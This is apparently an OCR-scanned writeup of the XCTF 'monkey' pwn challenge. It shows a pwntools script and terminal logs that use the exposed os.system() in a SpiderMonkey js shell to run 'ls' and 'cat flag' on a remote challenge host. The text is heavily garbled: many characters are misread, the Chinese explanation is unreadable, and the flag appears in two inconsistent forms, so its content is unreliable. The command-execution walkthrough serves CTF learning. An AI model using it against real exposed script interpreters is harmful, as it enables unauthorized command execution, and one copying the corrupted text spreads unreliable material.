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root@mypwn: /ctf/work/python/monkey# 1ls -1
total 34972
-rw-r--r-- 1 root root 9544403 Dec 25 01:00 05fb160732b5493dae565b8c3f35474f.zip
-rwxr-xr-x 1 root root 24924816 Dec 31 2009 js
-rwxr-xr-x 1 root root 280448 Dec 31 2009 libnspr4.so
-rwxr-xr-x 1 root root 22224 Dec 31 2009 libplc4d.so
1

-PWXP-Xr-X root root 19128 Dec 31 2009 libplds4.so
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p = process([process_name], env={'LD_LIBRARY_PATH':'./'})
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[*] '/ctf/work/python/monkey/js'

Arch: amd64-64-1ittle
RELRO: No RELRO

Stack: No canary found
NX: NX enabled

PIE: No PIE (©x400000)
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#!python
#!/usr/bin/env python
#coding:utf8

from pwn import *

context.log _level = 'debug'

process_name = './js'

p = process([process_name], env={"'LD_LIBRARY_PATH':'./'})
# p = remote('111.198.29.45"', 36913)

# elf = ELF(process_name)

p.recv()

p.interactive()
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root@mypwn:/ctf/work/python/monkey# python monkey.py
[+] Starting local process './js' env={"'LD_LIBRARY_PATH': './'} : pid 4036
[DEBUG] Received x4 bytes:
s> !
[*] Switching to interactive mode
$ help
[DEBUG] Sent ©x5 bytes:
"help\n'
[DEBUG] Received 0x30 bytes:
"help\r\n'
"function help() {\n'
‘\n'
"js>
help
function help() {
[native code]

[native code]\n'

}
js> $ alert('x")
[DEBUG] Sent ©xb bytes:
"alert('x"')\n"
[DEBUG] Received ©0x55 bytes:
"alert('x")\r\n"
"typein:2:1 ReferenceError: alert is not defined\n'
'Stack:\n"'
' @tvpein:2:1\n’



"Js>
alert('x")
typein:2:1 ReferenceError: alert is not defined
Stack:
@typein:2:1
js> $ echo('x")
[DEBUG] Sent @xa bytes:
"echo('x"')\n"
[DEBUG] Received ©@x53 bytes:
"echo('x")\r\n"
"typein:3:1 ReferenceError: echo is not defined\n'
'Stack:\n"'
' @typein:3:1\n’

'js>
echo('x")
typein:3:1 ReferenceError: echo is not defined
Stack:

@typein:3:1
js> $ os
[DEBUG] Sent ©x3 bytes:

‘os\n'

[DEBUG] Received 0x1 bytes:

o

o[DEBUG] Received ©x126 bytes:
"s\r\n'
'({getenv:function getenv() {\n'
! [native code]\n'

'}, getpid:function getpid() {\n'

! [native code]\n'

'}, system:function system() {\n'

! [native code]\n'

'}, spawn:function spawn() {\n'

! [native code]\n'

'}, kill:function kill() {\n'

! [native code]\n'

'}, waitpid:function waitpid() {\n'

! [native code]\n'
"IHAn’
‘s>

s

({getenv:function getenv() {
[native code]

}, getpid:function getpid() {
[native code]

}, system:function system() {
[native code]

}, spawn:function spawn() {
[native code]

}, kill:function kill() {
[native code]

}, waitpid:function waitpid() {
[native code]

)

js> $ os.getenv()

[DEBUG] Sent @xc bytes:
'os.getenv()\n'

[DEBUG] Received ©@xd bytes:
'os.getenv()\r\n'

os.getenv()



[DEBUG] Received 0x49 bytes:

"typein:7:1 Error: os.getenv requires 1 argument\n'’

'Stack:\n"'
' @typein:7:1\n'
‘s>

typein:7:1 Error: os.getenv requires 1 argument

Stack:
@typein:7:1

js> $ os.getpid()

[DEBUG] Sent @xc bytes:
'os.getpid()\n'

[DEBUG] Received 0x16 bytes:
'os.getpid()\r\n'
'4036\n'
sy

os.getpid()

4036

js> $

FERR R HENATsREH, RIZTHAT T os.getenv()Flos.getpid().

%§j7*’1:%%ﬁ%:

({getenv:function getenv() {
[native code]

}, getpid:function getpid() {
[native code]

}, system:function system() {
[native code]

}, spawn:function spawn() {
[native code]

}, kill:function kill() {
[native code]

}, waitpid:function waitpid() {
[native code]

)
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js> $ os.system('ls"')
[DEBUG] Sent ©x10 bytes:
"os.system('ls"')\n"
[DEBUG] Received ©x11 bytes:
"os.system('ls"')\r\n"
os.system('ls"')

[DEBUG] Received @x3f bytes:

AITAT A AT shr @ BT ERH T

'05fb160732b5493dae565b8c3f35474f.zip libnsprd.so libplds4.so\n'

05fb160732b5493dae565b8c3f35474f.zip libnspr4.so

[DEBUG] Received 0x23 bytes:

"Js\t\t\t\t libplc4.so
js libplc4.
[DEBUG] Received @x6 bytes:

"o\n’

s>

monkey.py\n'
so  monkey.py

libplds4.so
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#!python
#!/usr/bin/env python
#coding:utf8

from pwn import *
context.log _level = 'debug'

process_name = './js'

# p = process([process_name], env={'LD_LIBRARY_PATH':'./'})
p = remote('111.198.29.45', 36913)

# elf = ELF(process_name)

p.sendlineafter('js> ', 'os.system(\'cat flag\')"')

p.interactive()
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root@mypwn:/ctf/work/python/monkey# python monkey.py
[+] Opening connection to 111.198.29.45 on port 36913: Done
[DEBUG] Received x4 bytes:
sy
[DEBUG] Sent ©0x16 bytes:
"o0s.system('cat flag')\n"
[*] Switching to interactive mode
[DEBUG] Received 0x5 bytes:
'os.sy'
0s.sy[DEBUG] Received 0x43 bytes:
"stem('cat flag')\r\n"
'cyberpeace{@ac174372107b8a4f8ef4906dblocd4a7}\n'
sy
stem('cat flag')
cyberpeace{0@ac174372107b8a4f8ef4906dbl0c4a7}

js> $

PATHZD, KIERHERMNEREFZE, TREE RNMIAERN.
EHRESAELHANEFUZINRRLHEL, ERRERMNABLEDSESE Tl




	monkey [XCTF-PWN][高手进阶区]CTF writeup攻防世界题解系列18

